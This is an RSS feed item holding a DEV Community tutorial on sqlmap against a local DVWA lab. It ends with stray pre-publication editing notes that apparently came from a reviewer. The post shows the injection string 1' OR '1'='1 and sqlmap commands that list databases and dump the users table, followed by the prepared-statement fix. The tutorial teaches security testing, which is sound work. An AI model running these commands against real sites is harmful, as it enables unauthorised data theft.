<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: GhostRunner</title>
    <description>The latest articles on DEV Community by GhostRunner (@ghostoraner).</description>
    <link>https://dev.to/ghostoraner</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4043819%2F78b34ead-25dd-46ac-a6ba-a171675e7ef6.jpg</url>
      <title>DEV Community: GhostRunner</title>
      <link>https://dev.to/ghostoraner</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ghostoraner"/>
    <language>en</language>
    <item>
      <title>sqlmap in 15 Minutes: From First Request to Extracted Data in a Lab</title>
      <dc:creator>GhostRunner</dc:creator>
      <pubDate>Sun, 08 Nov 2026 20:40:53 +0000</pubDate>
      <link>https://dev.to/ghostoraner/sqlmap-in-15-minutes-from-first-request-to-extracted-data-in-a-lab-5bk7</link>
      <guid>https://dev.to/ghostoraner/sqlmap-in-15-minutes-from-first-request-to-extracted-data-in-a-lab-5bk7</guid>
      <description>&lt;p&gt;This post is a hands-on introduction to sqlmap, a tool that automates the detection and exploitation of SQL injection. All examples run &lt;strong&gt;only in a local lab&lt;/strong&gt;. Testing someone else's site without written permission is illegal, even with good intentions.&lt;/p&gt;

&lt;h2&gt;
  
  
  What SQL injection is
&lt;/h2&gt;

&lt;p&gt;Imagine a page that takes a URL parameter and drops it straight into a database query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT first_name, last_name FROM users WHERE user_id = '&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a user passes &lt;code&gt;id=1' OR '1'='1&lt;/code&gt;, the query changes shape and the database returns every row. That's the core of injection: user input becomes part of the command.&lt;/p&gt;

&lt;h2&gt;
  
  
  Setting up the lab
&lt;/h2&gt;

&lt;p&gt;We'll use DVWA (Damn Vulnerable Web Application), an intentionally insecure app built for learning:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80:80 vulnerables/web-dvwa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open &lt;code&gt;http://localhost/setup.php&lt;/code&gt;, click &lt;strong&gt;Create / Reset Database&lt;/strong&gt;, then log in with &lt;code&gt;admin&lt;/code&gt; / &lt;code&gt;password&lt;/code&gt;. Under &lt;strong&gt;DVWA Security&lt;/strong&gt;, set the level to &lt;code&gt;low&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Install sqlmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;sqlmap
&lt;span class="c"&gt;# or clone from git: git clone https://github.com/sqlmapproject/sqlmap.git&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 1: Grab your session cookies
&lt;/h2&gt;

&lt;p&gt;sqlmap needs to act as a logged-in user, so we pass it the session cookies. Open DevTools (F12), go to &lt;strong&gt;Application → Cookies&lt;/strong&gt;, and copy the values of &lt;code&gt;PHPSESSID&lt;/code&gt; and &lt;code&gt;security&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: First scan
&lt;/h2&gt;

&lt;p&gt;Go to the &lt;strong&gt;SQL Injection&lt;/strong&gt; page in DVWA and enter &lt;code&gt;1&lt;/code&gt; in the field. The URL will look like &lt;code&gt;http://localhost/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=your_value; security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;--dbs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--batch&lt;/code&gt; accepts sqlmap's default answers so it runs without prompts. &lt;code&gt;--dbs&lt;/code&gt; lists the databases it can access.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Enumerate tables
&lt;/h2&gt;

&lt;p&gt;Once you see the &lt;code&gt;dvwa&lt;/code&gt; database in the output, list its tables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=your_value; security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; dvwa &lt;span class="nt"&gt;--tables&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 4: Dump the data
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=your_value; security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; dvwa &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nb"&gt;users&lt;/span&gt; &lt;span class="nt"&gt;--dump&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sqlmap prints the table and saves a copy under its output directory. You'll see the same user accounts and password hashes that the lab database holds.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to take away
&lt;/h2&gt;

&lt;p&gt;Fixing this is simple: use parameterized queries (prepared statements) instead of string concatenation. In PHP with PDO:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT first_name, last_name FROM users WHERE user_id = ?"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the input is always treated as data, never as SQL.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Notes for you before posting (in Ukrainian, as you asked for blunt feedback):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The title's "15 minutes" is a promise you can't guarantee.&lt;/strong&gt; Docker pull and DVWA setup can take longer on a slow connection. Either measure it yourself or drop the number.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The intro is weak.&lt;/strong&gt; The first paragraph is a legal disclaimer, not a hook. DEV readers scroll past that. Start with a concrete moment: "I got my first SQLi in a lab at 2 a.m. and didn't believe the output," or something similar, if it's true.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 1 is too thin.&lt;/strong&gt; Show a screenshot of the DevTools cookie panel. Right now a reader has to guess what the cookie names look like.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The payload example (&lt;code&gt;1' OR '1'='1&lt;/code&gt;) never appears in the sqlmap steps.&lt;/strong&gt; You could show what sqlmap actually detected, like the injection type and the vulnerable parameter, from its output. That's the most interesting part and it's missing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No real output.&lt;/strong&gt; DEV posts with actual terminal output get more engagement than ones with commands alone. Paste a short excerpt from the &lt;code&gt;--dbs&lt;/code&gt; run.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>sql</category>
      <category>tutorial</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
